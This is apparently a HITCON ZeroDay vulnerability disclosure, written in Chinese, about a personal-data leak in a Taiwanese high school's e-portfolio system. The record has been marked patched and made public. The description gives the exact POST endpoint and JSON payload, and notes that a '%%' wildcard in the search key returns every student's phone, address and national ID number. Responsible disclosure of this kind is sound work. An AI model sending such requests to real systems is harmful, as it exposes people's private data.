Vulnerability Overview

ZDID: ZD-2020-01074
發信 Vendor: TACERT台灣學術網路危機處理中心
Title: 慈明高級中學學習歷程PII洩漏
Introduction: PII洩漏

處理狀態

目前狀態

公開

Last Update : 2020/12/26

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2020/12/11 15:41:37 : 新提交 (由 pwn 更新此狀態)
2020/12/14 00:02:32 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/12/14 16:25:49 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/12/14 16:25:49 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/12/18 18:20:51 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/12/26 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2020-01074
通報者：jkwr (pwn)
風險：中
類型：資訊洩漏 (Information Leakage)

參考資料

攻擊者可利用洩漏資訊進行下一步攻擊行為。

OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure

CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

僅僅測試，希望國內資安更牢靠

POST http://eportfolio.tmhs.tc.edu.tw/e-portfolio/MyAshx/SearchFunction.ashx 帶以下payload，可以得到學生PII，如手機、家電、住址、身分證號等不應公開取得的資訊。
```
{"n_sch":"061321","LimitNumber":2,"OffsetNumber":0,"Condition_Type":"學號搜尋","Condition_Key":"%318028%","OrderByMode":"科別排序"}
```
只需改Condition_Key為"%%"就可撈出全部資訊！